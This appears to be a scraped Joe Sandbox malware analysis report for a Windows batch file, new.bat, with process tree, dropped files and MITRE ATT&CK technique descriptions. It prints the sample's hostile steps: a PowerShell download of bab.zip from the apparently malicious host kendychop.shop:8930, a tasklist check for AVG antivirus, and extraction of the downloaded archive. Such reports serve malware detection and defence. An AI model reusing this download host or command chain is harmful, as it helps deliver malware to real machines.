Nov 14, 2024 18:24:13.921339035 CET	171	OUT	GET /bab.zip HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: kendychop.shop:8930 Connection: Keep-Alive
Nov 14, 2024 18:24:14.764837980 CET	307	IN	HTTP/1.1 200 OK Content-Length: 48684280 Last-Modified: Thu, 07 Nov 2024 14:55:59 GMT Content-Type: application/x-zip-compressed Date: Thu, 14 Nov 2024 17:24:14 GMT ETag: "2d193989039d98b00696c89e57084361-1730991359-48684280" Accept-Ranges: bytes Server: WsgiDAV/4.3.0 Cheroot/9.0.0 Python/3.11.1

Target ID:	0
Start time:	12:24:01
Start date:	14/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\new.bat" "
Imagebase:	0x7ff709b00000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Target ID:	6
Start time:	12:24:02
Start date:	14/11/2024
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /FI "IMAGENAME eq avgui.exe"
Imagebase:	0x7ff7752b0000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Target ID:	9
Start time:	12:24:05
Start date:	14/11/2024
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report new.bat

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\ae450370-7789-4ade-9f68-f1d9f23c3a00.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.6104

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Windows Analysis Report
new.bat

Target ID:	11
Start time:	12:24:07
Start date:	14/11/2024
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2276 --field-trial-handle=1524,i,11779076742283100566,12679411521668981735,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Target ID:	17
Start time:	12:25:12
Start date:	14/11/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command "try { Expand-Archive -Path 'C:\Users\user\Downloads\downloaded.zip' -DestinationPath 'C:\Users\user\Downloads\Extracted' -Force } catch { exit 1 }"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre